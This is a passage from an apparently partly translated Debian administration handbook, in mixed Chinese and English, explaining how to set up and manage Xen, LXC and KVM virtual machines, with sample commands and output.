第一次拆分（md0 与其他）的基本原理是关于数据安全：写入 RAID-1 镜像的两个元素的数据完全相同，因此可以绕过 RAID 层并直接装载其中一个磁盘。例如，如果内核错误，或者 LVM 元数据已损坏，仍然可以启动最小系统来访问关键数据，例如 RAID 和 LVM 卷中的磁盘布局；然后可以重建元数据，并再次访问文件，以便系统可以恢复其正常状态。

The rationale for the second split (md2 vs. md3) is less clear-cut, and more related to acknowledging that the future is uncertain. When the workstation is first assembled, the exact storage requirements are not necessarily known with perfect precision; they can also evolve over time. In our case, we can't know in advance the actual storage space requirements for video rushes and complete video clips. If one particular clip needs a very large amount of rushes, and the VG dedicated to redundant data is less than halfway full, we can re-use some of its unneeded space. We can remove one of the physical volumes, say md3, from vg_raid and either assign it to vg_bulk directly (if the expected duration of the operation is short enough that we can live with the temporary drop in performance), or undo the RAID setup on md3 and integrate its components sda5 and sdc5 into the bulk VG (which grows by 600 GB instead of 300 GB); the lv_rushes logical volume can then be grown according to requirements.

12.2. 虚拟化

虚拟化是近年来计算领域最重要的进步之一。该术语涵盖模拟虚拟计算机的各种抽象和技术，虚拟计算机在实际硬件上具有不同程度的独立性。然后，一台物理服务器可以托管多个系统，同时单独工作。应用程序很多，通常派生自此隔离：例如具有不同配置的测试环境，或跨不同虚拟机分离托管服务以保障安全。

有多种虚拟化解决方案，每种解决方案都有自己的优缺点。本书将重点介绍 Xen、LXC 和 KVM，但其他值得注意的实现包括：

- QEMU is a software emulator for a full computer; performances are far from the speed one could achieve running natively, but this allows running unmodified or experimental operating systems on the emulated hardware. It also allows emulating a different hardware architecture: for instance, an amd64 system can emulate an arm computer. QEMU is free software.
→ https://qemu.org/

- Bochs 是另一个免费的虚拟机，但它只模拟 x86 架构（i386 和 amd64）。

- VMWare is a proprietary virtual machine; being one of the oldest out there, it is also one of the most widely-known. It works on principles similar to QEMU. VMWare proposes advanced features such as “snapshotting“ a running virtual machine.
→ https://vmware.com/

- VirtualBox is a virtual machine that is mostly free software (some extra components are available under a proprietary license). Unfortunately it is in Debian's “contrib” section because it includes some precompiled files that cannot be rebuilt without a proprietary compiler and it currently only resides in Debian Unstable as Oracle's policies make it impossible to keep it secure in a Debian stable release (see #794466). While younger than VMWare and restricted to the i386 and amd64 architectures, it still includes some “snapshotting“ and other interesting features.
→ https://www.virtualbox.org/

硬件 虚拟化支持

某些计算机可能不支持硬件虚拟化；使用时，应该在 BIOS 中启用。

若要了解是否启用了虚拟化支持，可以使用 grep 检查相关标志是否启用。如果处理器的以下命令返回对应的文本，则已启用虚拟化支持：

- For Intel processors you can execute grep vmx /proc/cpuinfo to check for Intel's Virtual Machine Extensions.

- For AMD processors you can execute grep svm /proc/cpuinfo to check for AMD's Secure Virtual Machine.

If that is not the case, you can access the BIOS of your system and check for entries like “Intel Virtualization Technology”/“Intel VT-x” or “SVM mode” (AMD) - usually to be found in the CPU configuration in the Advanced section.

12.2.1. Xen

Xen 是一种"准虚拟化"解决方案。它引入了硬件和上层系统之间的一个薄抽象层，称为"虚拟机管理程序"；这充当控制从虚拟机访问硬件的裁判。但是，它只处理一些指令，其余指令由硬件代表系统直接执行。主要优点是性能不会下降，系统运行接近本机速度；缺点是，希望在 Xen 虚拟机管理程序上使用的操作系统内核需要调整才能在 Xen 上运行。

让我们花些时间在条款上。虚拟机管理程序是最低层，直接在硬件上运行，甚至低于内核。此虚拟机管理程序可以跨多个domains（域），这可视为许多虚拟机。其中一个域（第一个入门域）称为 dom0，具有特殊作用，因为只有此域可以控制虚拟机管理程序和其他域的执行。其他域称为domU。换句话说，从用户的角度来看，dom0与其他虚拟化系统的"主机"匹配，而domU可以被视为"来宾"。

文化 Xen 和各种版本的 Linux

Xen 最初是作为一组从 Linux 内核官方树中派生的修补程序开发的，并且没有集成到内核中。同时，几个即将推出的虚拟化系统（包括 KVM）需要一些通用虚拟化相关功能来促进它们的集成，Linux 内核获得了这组函数（称为 paravirt_ops 或 pv_ops 接口）。由于 Xen 修补程序复制了此接口的一些功能，因此无法正式接受它们。

因此，Xen背后的公司 Xensource 不得不将 Xen 移植到这个新框架，以便Xen补丁可以合并到官方的Linux内核中。这意味着大量的代码重写，虽然 Xensource 很快就有一个基于paravirt_ops 接口的版本，补丁只是逐渐合并到官方内核。合并在 Linux 3.0 中完成。

→ https://wiki.xenproject.org/wiki/XenParavirtOps

由于 Jessie 基于Linux内核的 3.16 版本，因此标准的 linux-image-686-pae 和 linux-image-amd4 包含了必要的代码，不再需要像 Squeeze 和之前版本的 Debian 一样使用特定的补丁。

→ https://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

文化 Xen 和非 Linux 内核

Xen 需要修改运行的所有操作系统；并非所有内核在这方面的成熟度都相同。许多完整功能，包括dom0和domU：Linux 3.0 及之后版本，NetBSD 4.0及之后版本，OpenSolaris。其他只能作为 domU 工作。您可以在 Xen wiki 中查询每个操作系统的状态 ：

→ https://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen

→ https://wiki.xenproject.org/wiki/DomU_Support_for_Xen

但是，如果 Xen 可以依赖专用于虚拟化的硬件功能（这些功能仅存在于较新的处理器中），则即使是未修改的操作系统也可以作为 domU（包括 Windows）运行。

注释 Xen 架构兼容性

Xen 目前仅适用于 i386、amd64、arm64 和 armhf 架构。

在 Debian 下使用 Xen 需要3个组件：

- The hypervisor itself. According to the available hardware, the appropriate package providing xen-hypervisor will be either xen-hypervisor-4.14-amd64, xen-hypervisor-4.14-armhf, or xen-hypervisor-4.14-arm64.

- A kernel that runs on that hypervisor. Any kernel more recent than 3.0 will do, including the 5.10 version present in Bullseye.

- i386 架构还需要一个标准库，包含 Xen 使用的对应补丁；在 libc6-xen 软件包中。

The hypervisor also brings xen-utils-4.14, which contains tools to control the hypervisor from the dom0. This in turn brings the appropriate standard library. During the installation of all that, configuration scripts also create a new entry in the GRUB bootloader menu, so as to start the chosen kernel in a Xen dom0. Note, however, that this entry is not usually set to be the first one in the list, but it will be selected by default.

安装这些先决条件后，下一步是测试 dom0 本身的行为；这涉及到重新启动虚拟机管理程序和 Xen 内核。系统应以标准方式启动，在初始化步骤前期，控制台上会显示一些额外的消息。

现在可以使用 xen-tools 中的工具在 domU 系统上实际安装系统。此包提供 xen-create-image 命令，这在很大程度上是自动执行任务的。唯一的必需参数 --hostname，指定 domU 的名称；其他选项也很重要，但它们可以存储在 /etc/xen-tools/xen-tools.conf 配置文件中，并且它们不在命令行中不会触发错误。因此，在创建映像之前检查此文件的内容，或在 xen-create-image 中使用额外的参数。需要注意的重要参数包括：

- --memory，指定新创建系统的RAM大小;

- --size 和 --swap，指定 domU 使用的“虚拟磁盘”的大小;

- --debootstrap-cmd, to specify the which debootstrap command is used. The default is debootstrap if debootstrap and cdebootstrap are installed. In that case, the --dist option will also most often be used (with a distribution name such as bullseye).
进阶在 domU 中安装非 Debian 系统

对于非 Linux 系统，应注意使用 --kernel 选项指定 domU 使用的内核。

- --dhcp 指示 domU 的网络配置应该由 DHCP 获取，而 --ip 允许定义静态 IP 地址。

- 最后，必须选择存储方式才能创建映像（视为来自 domU 的硬盘驱动器） 。最简单的方式，对应 -dir 选项是为 domU 使用的每个设备在 dom0 上创建一个文件。对于使用 LVM 的系统，另一种选择是使用 --lvm选项，后跟卷组的名称； xen-create-image 在该组内创建新的逻辑卷，并将此逻辑卷作为硬盘提供给 domU。
注释 domU 中的存储

整个硬盘也可以导出到 domU，以及分区、RAID 阵列或预先存在的 LVM 逻辑卷。但是，这些操作不是由 xen-create-image 自动执行的，因此在使用 xen-create-image 初始创建 Xen 映像后，需要编辑 Xen 映像的配置文件。

一旦做出这些选择，我们就可以为 Xen domU 创建映像：

# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=bullseye --role=udev

General Information

--------------------

Hostname       :  testxen

Distribution   :  bullseye

Mirror         :  http://deb.debian.org/debian

Partitions     :  swap            512M  (swap)

/               2G    (ext4)

Image type     :  sparse

Memory size    :  256M

Bootloader     :  pygrub

[...]

Logfile produced at:

/var/log/xen-tools/testxen.log

Installation Summary

---------------------

Hostname        :  testxen

Distribution    :  bullseye

MAC Address     :  00:16:3E:C2:07:EE

IP Address(es)  :  dynamic

SSH Fingerprint :  SHA256:K+0QjpGzZOacLZ3jX4gBwp0mCESt5ceN5HCJZSKWS1A (DSA)

SSH Fingerprint :  SHA256:9PnovvGRuTw6dUcEVzzPKTITO0+3Ki1Gs7wu4ke+4co (ECDSA)

SSH Fingerprint :  SHA256:X5z84raKBajUkWBQA6MVuanV1OcV2YIeD0NoCLLo90k (ED25519)

SSH Fingerprint :  SHA256:VXu6l4tsrCoRsXOqAwvgt57sMRj2qArEbOzHeydvV34 (RSA)

Root Password   :  FS7CUxsY3xkusv7EkbT9yae

我们现在有一个虚拟机，但目前还未运行（因此只使用 dom0 硬盘上的空间）。当然，我们可以创建更多的映像，可以使用不同的参数。

在打开这些虚拟机之前，我们需要定义如何访问它们。当然，它们可以视为隔离的计算机，只能通过其系统控制台访问，但这很少使用这种模式。在大多数情况下，domU 视为远程服务器，并且只能通过网络访问。但是，为每个 domU 添加一个网卡会非常不方便；这就是为什么 Xen 允许创建每个域都可以以标准方式查看和使用虚拟网络接口的原因。请注意，这些网卡即使是虚拟的，也只有在连接到网络（即使是虚拟网络）时才有用。Xen 具有多个网络模式：

- 最简单的模式是 bridge 模式；所有 eth0 网卡 （在 dom0 和 domu 系统中） 的行为就像它们直接插入以太网交换机一样。

- 然后是 routing 模式，其中 dom0 充当位于 domU 系统和（物理）外部网络之间的路由器。

- 最后，在 NAT 模式中，dom0 也是位于 domU 系统和网络其余部分之间，但 domU 系统不能从外部直接访问，并且流量通过 dom0 上的一些网络地址转换。

这3种网络节点涉及许多具有特定名称的接口，例如 vif*、veth*、peth* 和 xenbr0。Xen 虚拟机管理程序在用户空间工具的控制之下，以已定义的布局排列它们。由于 NAT 和路由模式仅适合特定情况，因此我们仅说明桥接模式。

The standard configuration of the Xen packages does not change the system-wide network configuration. However, the xend daemon is configured to integrate virtual network interfaces into any pre-existing network bridge (with xenbr0 taking precedence if several such bridges exist). We must therefore set up a bridge in /etc/network/interfaces (which requires installing the bridge-utils package, which is why the xen-utils package recommends it) to replace the existing eth0 entry (be careful to use the correct network device name):

auto xenbr0

iface xenbr0 inet dhcp

bridge_ports eth0

bridge_maxwait 0

重新启动以确保自动创建网桥后，我们现在可以使用 Xen 控制工具启动 domU，特别是 xl命令。此命令允许对域进行不同的操作，包括列出它们以及启动/停止它们。您可能需要通过从配置文件（在这种情况下是 /etc/xen/testxen.cfg）编辑内存变量来增加默认内存。在这里，我们已设置为 1024（兆字节）。

# xl list

Name                                        ID   Mem VCPUs State Time(s)

Domain-0                                     0  3918     2     r-----      35.1

# xl create /etc/xen/testxen.cfg

Parsing config from /etc/xen/testxen.cfg

# xl list

Name                                        ID   Mem VCPUs State Time(s)

Domain-0                                     0  2757     2     r-----      45.2

testxen                                      3  1024     1     r-----       1.3

工具用于管理 Xen VM 工具栈的选择

In Debian 7 and older releases, xm was the reference command line tool to use to manage Xen virtual machines. It has now been replaced by xl which is mostly backwards compatible. But those are not the only available tools: virsh of libvirt and xe of XenServer's XAPI (commercial offering of Xen) are alternative tools.

注意 每个映像只有一个 domU！

当然，几个 domU 系统可以并行运行，但它们都需要使用自己的映像，因为每个 domU 都相信自己在真实的硬件上运行（除了内核与虚拟机管理程序交互的一小部分）。特别是，两个同时运行的 domU 系统不可以共享存储空间。但是，如果 domU 系统不是同时运行，则完全可以重用单个交换分区，或者存放 /home 文件系统的分区。

请注意，testxen domU 使用 RAM 中的实际内存，否则该内存将提供给 dom0，而不是模拟内存。因此，在构建用于承载 Xen 实例的服务器时，应注意相应地预配物理 RAM。

Voilà！我们的虚拟机正在启动。我们可以使用两种方式访问它。通常的方式是通过网络"远程"连接到，就像连接到一台真正的机器一样；这通常需要设置 DHCP 服务器或某些 DNS 配置。另一种方式，这可能是网络配置不正确的唯一方法，是使用 xl console 命令使用 hvc0 控制台：

# xl console testxen

[...]

Debian GNU/Linux 11 testxen hvc0

testxen login:

然后，可以打开一个会话，就像坐在虚拟机的键盘上一样。通过组合按键 Control+] 分离控制台。

提示 立即获取控制台

有时，人们希望启动一个 domU 系统，并立连接其控制台；这就是为什么 xl create 命令采用 - c 开关的原因。使用此开关启动 domU 时，将在系统启动时显示所有消息。

TOOL Graphical Xen managers

OpenXenManager (in the openxenmanager package), a graphical interface allowing remote management of Xen domains via Xen's API, is no longer provided by Debian due to the lack of upstream development. If you are looking for a replacement, virt-manager provides support to handle Xen VMs as well.

一旦 domU 启动，它可以像使用任何其他服务器一样使用（因为它是一个 GNU/Linux 系统）。但是，其虚拟机状态允许一些额外的功能。例如，domU 可以使用 xl pause 命令暂停，然后使用 xl unpause 命令恢复。请注意，即使暂停的 domU 不使用任何处理器资源，其分配的内存仍在使用中。此外，xl save 和 xl restore 命令可能很有趣：保存 domU 使用的资源，包括 RAM。当恢复（或未停止），domU 甚至没有注意到任何时间的流逝。如果在 dom0 关闭时正在运行 domU，则打包的脚本会自动保存 domU，并在下次启动时还原它。这当然会涉及在休眠笔记本电脑时产生的不变便；如果 domU 挂起的时间过长，网络连接可能会过期。另外，Xen 到目前为止与 ACPI 电源管理的主要部分不兼容，这排除了挂起主机 （dom0） 系统的可能性。

停止或重新启动 domU 可以从 domU 内部（使用 shutdown 命令）或从 dom0 执行，也可以使用 xl shutdown 或 xl reboot 命令。

大多数xl 的子命令都需要一个或多个参数，通常是 domU 名称。这些参数在 xl(1) 手册页中有详细描述。

进阶 高级 Xen

Xen 的功能比我们在这里描述的要多。特别是，系统非常动态，即使该域正在运行，也可以调整该域的许多参数（如分配的内存量、可见的硬盘驱动器、任务调度程序的行为等）。domU 甚至可以跨服务器迁移，而无需关闭，并且不会丢失其网络连接！对于所有这些高级功能，主要信息来源是官方 Xen 文档。

→ https://xenproject.org/help/documentation/

12.2.2. LXC

即使它用于构建"虚拟机"，但严格来说，LXC 不是虚拟化系统，而是一个将进程组彼此隔离的系统，即使它们都在同一主机上运行。它利用了Linux内核中一组最近的演变，统称为 control groups（控制组），根据这些过程，称为"组"的不同进程集对整个系统的某些方面有不同的看法。在这些方面中，最值得注意的是进程标识符、网络配置和挂载点。这样一组隔离进程不能对系统中的其他进程进行任何访问，并且它对文件系统的访问可以限制为特定的子集。它还可以有自己的网络接口和路由表，并且可以配置为仅看到系统上存在的可用设备的子集。

这些功能可以组合起来，以隔离从init 进程开始的整个过程系列，结果集看起来非常像虚拟机。此类设置的官方名称是"容器"（因此 LXC 名称：LinuX Containers），但与 Xen 或 KVM 提供的"真实"虚拟机（如 Xen 或 KVM 提供的虚拟机）的一个相当重要的区别是，没有第二个内核；容器使用与主机系统完全相同的内核。这既有优点也有缺点：优点包括由于减少开销而具有出色的性能，以及内核对系统上运行的所有进程都有全局视野，因此，如果两个独立的内核要安排不同的任务集，调度效率会更高。其中最给您带来的不便是不能在容器中运行不同的内核（无论是不同的Linux版本还是完全不同的操作系统）。

注释LXC 隔离的限制

LXC 容器不提供较重的仿真器或虚拟化器实现的隔离级别。特别是：

- 由于内核在主机系统和容器之间共享，因此约束容器的进程仍然可以访问内核消息，如果容器发出消息，这可能会导致信息泄漏;

- 出于类似原因，如果容器遭到破坏，并且内核漏洞被利用，其他容器也可能受到影响;

- 在文件系统上，内核根据用户和组的数字标识符检查权限；这些标识符可以根据容器指定不同的用户和组，如果文件系统的可写部分在容器之间共享，应牢记这些用户和组。

由于我们处理的是隔离而不是普通虚拟化，因此设置 LXC 容器比在虚拟机上运行 debian 安装程序更为复杂。我们将介绍几个先决条件，然后继续进行网络配置；然后，我们将能够实际创建要在容器中运行的系统。

12.2.2.1. 准备步骤

lxc 软件包包含运行LXC所需的工具，因此必须安装。

LXC 还要求 control groups 配置系统，这是一个虚拟文件系统，挂载在 /sys/fs/cgroup。由于 Debian 8 切换系统，也依赖于控制组，因此现在在启动时自动完成，无需进一步配置。

12.2.2.2. 网络配置

安装 LXC 的目的是设置虚拟机；虽然我们可以将它们与网络隔离，并且只能通过文件系统与它们通信，但大多数用例都涉及至少给予容器最小网络访问权限。在典型情况下，每个容器将得到一个虚拟网络接口，通过网桥连接到真正的网络。此虚拟接口可以直接插入主机的物理网络接口（在这种情况下，容器直接在网络上），也可以插入主机上定义的另一个虚拟接口（然后主机可以过滤或路由流量）。在这两种情况下，bridge-utils 软件包也是必需的。

The simple case is just a matter of editing /etc/network/interfaces, moving the configuration for the physical interface (for instance, eth0 or enp1s0) to a bridge interface (usually br0), and configuring the link between them. For instance, if the network interface configuration file initially contains entries such as the following:

auto eth0

iface eth0 inet dhcp

应禁用它们，并替换为以下内容：

auto br0

iface br0 inet dhcp

bridge-ports eth0

此配置的效果将类似于如果容器是插入与主机相同的物理网络的计算机获得的效果。"桥接"配置管理所有桥接接口之间的以太网帧传输，包括物理 eth0 以及为容器定义的接口。

如果无法使用此配置（例如，如果无法将公共 IP 地址分配给容器），将创建一个虚拟 tap 接口并连接到网桥。然后，等效的网络拓扑变为主机的拓扑，该主机将第二个网卡插入单独的交换机，容器也插入该交换机。然后，如果容器要与外部世界通信，则主机必须充当容器的网关。

除了 bridge-utils 之外，这种"丰富"配置还需要 vde2 软件包；然后/etc/network/interfaces文件变为：

# Interface eth0 is unchanged

auto eth0

iface eth0 inet dhcp

# Virtual interface

auto tap0

iface tap0 inet manual

vde2-switch -t tap0

# Bridge for containers

auto br0

iface br0 inet static

bridge-ports tap0

address 10.0.0.1

netmask 255.255.255.0

然后，可以在容器中静态地设置网络，也可以在主机上运行 DHCP 服务器时动态地设置网络。此类 DHCP 服务器需要配置为应答 br0 查询。

12.2.2.3. 搭建系统

Let us now set up the filesystem to be used by the container. Since this “virtual machine” will not run directly on the hardware, some tweaks are required when compared to a standard filesystem, especially as far as the kernel, devices and consoles are concerned. Fortunately, the lxc package includes scripts that mostly automate this configuration. For instance, the following commands (which require the debootstrap and rsync packages) will install a Debian container:

# lxc-create -n testlxc -t debian

debootstrap is /usr/sbin/debootstrap

Checking cache download in /var/cache/lxc/debian/rootfs-stable-amd64 ...

Downloading debian minimal ...

I: Retrieving Release

I: Retrieving Release.gpg

[...]

Download complete.

Copying rootfs to /var/lib/lxc/testlxc/rootfs...

[...]

#

请注意，文件系统最初是在 /var/cache/lxc ，然后移动到目标目录。这允许更快地创建相同的容器，因为只需要复制。

请注意，Debian 模板创建脚本接受 -arch 选项，用于指定要安装的系统的体系结构和 --release 选项（如果您想要安装 Debian 的当前稳定版本以外的其他内容）。您还可以将 MIRROR 设置为指向本地 Debian 镜像。

The lxc package further creates a bridge interface lxcbr0, which by default is used by all newly created containers via /etc/lxc/default.conf and the lxc-net service:

lxc.net.0.type = veth

lxc.net.0.link = lxcbr0

lxc.net.0.flags = up

These entries mean, respectively, that a virtual interface will be created in every new container; that it will automatically be brought up when said container is started; and that it will be automatically connected to the lxcbr0 bridge on the host. You will find these settings in the created container's configuration (/var/lib/lxc/testlxc/config), where also the device' MAC address will be specified in lxc.net.0.hwaddr. Should this last entry be missing or disabled, a random MAC address will be generated.

该文件中的另一个有用条目是主机名的设置：

lxc.uts.name = testlxc

The newly-created filesystem now contains a minimal Debian system and a network interface.

12.2.2.4. 启动容器

Now that our virtual machine image is ready, let's start the container with lxc-start --name=testlxc.

In LXC releases following 2.0.8, root passwords are not set by default. We can set one running lxc-attach -n testlxc passwd if we want. We can login with:

# lxc-console -n testlxc

Connected to tty 1

Type <Ctrl+a q> to exit the console, <Ctrl+a Ctrl+a> to enter Ctrl+a itself

Debian GNU/Linux 11 testlxc tty1

testlxc login: root

Password:

Linux testlxc 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64

The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Wed Mar  9 01:45:21 UTC 2022 on console

root@testlxc:~# ps auxwf

USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND

root           1  0.0  0.2  18964 11464 ?        Ss   01:36   0:00 /sbin/init

root          45  0.0  0.2  31940 10396 ?        Ss   01:37   0:00 /lib/systemd/systemd-journald

root          71  0.0  0.1  99800  5724 ?        Ssl  01:37   0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid [..]

root          97  0.0  0.1  13276  6980 ?        Ss   01:37   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups

root         160  0.0  0.0   6276  3928 pts/0    Ss   01:46   0:00 /bin/login -p --

root         169  0.0  0.0   7100  3824 pts/0    S    01:51   0:00  \_ -bash

root         172  0.0  0.0   9672  3348 pts/0    R+   01:51   0:00      \_ ps auxwf

root         164  0.0  0.0   5416  2128 pts/1    Ss+  01:49   0:00 /sbin/agetty -o -p -- \u --noclear [...]

root@testlxc:~#

我们现在在容器里；我们对进程的访问仅限于从容器本身启动的进程，我们对文件系统的访问同样限于完整文件系统的专用子集 （/var/lib/lxc/testlxc/rootf）。我们可以用 Control+aq 退出控制台。

Note that we ran the container as a background process, thanks to lxc-start starting using the --daemon option by default. We can interrupt the container with a command such as lxc-stop --name=testlxc.

lxc 软件包包含一个初始化脚本，当主机启动时，该脚本可以自动启动一个或多个容器（它依赖于 lxc-autostart，启动 lxc.start.auto 选项设置为 1的容器）。使用 lxc.start.order 和 lxc.group 可以对启动顺序进行更细粒度的控制：默认情况下，初始化脚本首先启动 onboot 组的容器，然后启动不是任何组的容器。在这两种情况下，组中的顺序由 lxc.start.order 选项定义。

进阶 大规模虚拟化

由于 LXC 是一个非常轻量级的隔离系统，因此它特别适合虚拟服务器的大规模托管。网络配置可能比我们上面描述的要高级一些，但在许多情况下，使用 tap 和 veth 接口的"丰富"配置应该足够了。

共享文件系统的一部分（如 /usr 和 /lib 子树可能也是有意义的，以避免复制可能需要多个容器通用的软件。这通常通过容器配置文件 lxc.mount.entry 条目实现。一个有趣的副作用是，进程将使用更少的物理内存，因为内核能够检测到程序是共享的。然后，一个额外的容器的边际成本可以降低到专用于其特定数据的磁盘空间，以及内核必须计划和管理的一些额外进程。

当然，我们还没有描述所有可用的选项；从 lxc(7) 和 lxc.container.conf.conf(5) 手册页及其引用的手册页获取更全面的信息。

12.2.3. KVM 虚拟化

KVM 代表 Kernel-based Virtual Machine（基于内核的虚拟机），它首先是一个内核模块，提供虚拟化器可以使用的基础结构，但它本身并不是虚拟机。虚拟化的实际控制由基于 QEMU 的应用程序处理。如果本节提到 qemu-* 命令，不要担心：它仍然是关于 KVM 的。

与其他虚拟化系统不同，KVM 从一开始就被并入 Linux 内核。其开发人员选择利用专用于虚拟化的处理器指令集（Intel-VT 和 AMD-V），使 KVM 保持轻巧、优雅且不资源消耗。当然，对应的是 KVM 只能在那些具有合适的处理器的计算机上工作。对于基于 x86 的计算机，您可以通过在 /proc/cpuinfo 中列出的 CPU 标志中查找"vmx"或"svm"来验证是否具有此类处理器。

随着 Red Hat 积极支持开发，KVM 或多或少成为 Linux 虚拟化的参考。

12.2.3.1. 准备步骤

Unlike such tools as VirtualBox, KVM itself doesn't include any user-interface for creating and managing virtual machines. The virtual qemu-kvm package only provides an executable able to start a virtual machine, as well as an initialization script that loads the appropriate kernel modules.

Fortunately, Red Hat also provides another set of tools to address that problem, by developing the libvirt library and the associated virtual machine manager tools. libvirt allows managing virtual machines in a uniform way, independently of the virtualization system involved behind the scenes (it currently supports QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare, and UML). virt-manager is a graphical interface that uses libvirt to create and manage virtual machines.

首先安装所需的软件包，使用 apt-get install libvirt-clients libvirt-daemon-system qemu-kvm virtinst virt-manager virt-viewer 命令。libvirt-daemon-system 提供 libvirtd 守护程序，允许（可以远程）管理主机运行的虚拟机，并在主机启动时启动所需的 VM。libvirt-clients 提供了 virsh 命令行工具，允许控制 libvirtd 管理的计算机。

virtinst 软件包提供 virt-install，允许从命令行创建虚拟机。最后，virt-viewer 允许访问 VM 的图形控制台。

12.2.3.2. 网络配置

与 Xen 和 LXC 一样，最常见的网络配置涉及对虚拟机的网络接口进行桥接分组（参见 第 12.2.2.2 节 “网络配置”）。

或者，在 KVM 提供的默认配置中，虚拟机被分配一个专用地址（在 192.168.122.0/24 范围内），并设置 NAT 以便 VM 可以访问外部网络。

本节的其余部分假定主机具有 eth0 物理接口和 br0 网桥，而前者连接到后者。

12.2.3.3. 使用 virt-install 安装

创建虚拟机与安装普通系统非常相似，只不过虚拟机的特征在看似无穷无尽的命令行中描述。

实际上，这意味着我们将使用 Debian 安装程序，在虚拟 DVD-ROM 驱动器上启动虚拟机，该驱动器映射到存储在主机上的 Debian DVD 映像。VM 将在 VNC 协议上导出其图形控制台（有关详细信息，请参阅 第 9.2.2 节 “使用远程图形桌面”），这将使我们能够控制安装过程。

We first need to tell libvirtd where to store the disk images, unless the default location (/var/lib/libvirt/images/) is fine.

# mkdir /srv/kvm

# virsh pool-create-as srv-kvm dir --target /srv/kvm

Pool srv-kvm created

#

提示 将用户添加到 libvirt 组

本节中的所有示例都假定您以 root 权限运行命令。实际上，如果要控制本地 libvirt 守护程序，则需要是 root 或 libvirt 组的成员（默认情况下不是这种情况）。因此，如果您希望避免过于频繁地使用 root 权限，可以把自己添加到 libvirt 组，并在用户标识下运行各种命令。

现在开始虚拟机的安装过程，并仔细了解 virt-install 最重要的选项。此命令在 libvirtd 中注册虚拟机及其参数，然后启动它，以便其安装可以继续。

# virt-install --connect qemu:///system

--virt-type kvm

--name testkvm

--memory 2048

--disk /srv/kvm/testkvm.qcow,format=qcow2,size=10

--cdrom /srv/isos/debian-11.2.0-amd64-netinst.iso

--network bridge=virbr0

--graphics vnc

--os-type linux

--os-variant debiantesting

Starting install...

Allocating 'testkvm.qcow'

--connect 选项指定要使用的"虚拟机管理程序"。它的形式是包含虚拟化系统（xen://、qemu://、lxc://、openvz://、vbox:// 等）和托管 VM 的计算机（对于本地主机，这一点可能为空）的 URL。除此之外，在使用 QEMU/KVM 的情况下，每个用户可以管理使用授权的虚拟机，并且 URL 路径允许将"系统"计算机 （/system） 和其他计算机 （/session） 进行区分。

由于 KVM 的管理方式与 QEMU 相同，因此 -virt type kvm 允许指定使用 KVM，使 URL 看起来像 QEMU。

--name 选项定义虚拟机的（唯一）名称。

--memory 选项指定要为虚拟机分配的 RAM（MB）量。

--disk 指定虚拟机硬盘的映像文件的位置；除非存在，否则将创建由 size 参数指定的大小（GB）的映像。format 参数选择存储映像文件的格式。默认格式（qcow2） 的大小仅在虚拟机实际使用空间时增长。

The --cdrom option is used to indicate where to find the optical disk to use for installation. The path can be either a local path for an ISO file, an URL where the file can be obtained, or the device file of a physical CD-ROM drive (i.e. /dev/cdrom).

The --network specifies how the virtual network card integrates in the host's network configuration. The default behavior (which we explicitly forced in our example) is to integrate it into any pre-existing network bridge. If no such bridge exists, the virtual machine will only reach the physical network through NAT, so it gets an address in a private subnet range (192.168.122.0/24).

The default network configuration, which contains the definition for a virbr0 bridge interface, can be edited using virsh net-edit default and started via virsh net-start default if not already done automatically during system start.

--graphics vnc states that the graphical console should be made available using VNC. The default behavior for the associated VNC server is to only listen on the local interface; if the VNC client is to be run on a different host, establishing the connection will require setting up an SSH tunnel (see 第 9.2.1.4 节 “通过端口转发建立加密通道”). Alternatively, --graphics vnc,listen=0.0.0.0 can be used so that the VNC server is accessible from all interfaces; note that if you do that, you really should design your firewall accordingly.

The --os-type and --os-variant options allow optimizing a few parameters of the virtual machine, based on some of the known features of the operating system mentioned there.

The full list of OS types can be shown using the osinfo-query os command from the libosinfo-bin package.

At this point, the virtual machine is running, and we need to connect to the graphical console to proceed with the installation process. If the previous operation was run from a graphical desktop environment, this connection should be automatically started. If not, or if we operate remotely, virt-viewer can be run from any graphical environment to open the graphical console (note that the root password of the remote host is asked twice because the operation requires 2 SSH connections):

$ virt-viewer --connect qemu+ssh://root@server/system testkvm

root@server's password:

root@server's password:

图 12.1. Connecting to installer session using virt-viewer

当安装过程结束，虚拟机重启后，就可以使用了。

12.2.3.4. 使用 virsh 管理机器

现在安装已经完成，让我们看看如何处理可用的虚拟机。首先要尝试的是向 libvirtd 索取它所管理的虚拟机列表：

# virsh -c qemu:///system list --all

Id Name                 State

----------------------------------

8 testkvm              shut off

让我们开始测试虚拟机：

# virsh -c qemu:///system start testkvm

Domain testkvm started

We can now get the connection instructions for the graphical console (the returned VNC display can be given as parameter to vncviewer):

# virsh -c qemu:///system vncdisplay testkvm

127.0.0.1:0

其他可用的 virsh 子命令包括：

- reboot 重启一个虚拟机；

- shutdown to trigger a clean shutdown;

- destroy, to stop it brutally;

- suspend to pause it;

- resume to unpause it;

- autostart to enable (or disable, with the --disable option) starting the virtual machine automatically when the host starts;

- undefine to remove all traces of the virtual machine from libvirtd.

所有这些子命令都以虚拟机标识符作为参数。

Installing an RPM based chroot in Debian with yum

If a chroot is meant to run Debian (or one of its derivatives), the system can be initialized with debootstrap. But if it is to be installed with an RPM-based system (such as Fedora, CentOS or Scientific Linux), the setup will need to be done using the yum utility, available as yum4 in the nextgen-yum4 package, since the original program has been removed from Debian before the Bullseye release due to being unmaintained, outdated, and obsoleted by dnf.

The procedure requires using rpm to extract an initial set of files, including notably yum configuration files, and then calling yum4 to extract the remaining set of packages. But since we call yum4 from outside the chroot, we need to make some temporary changes. In the sample below, the target chroot is /srv/centos.

# rootdir="/srv/centos"

# mkdir -p "$rootdir" /etc/rpm

# echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath

# wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-9.2009.0.el7.centos.x86_64.rpm

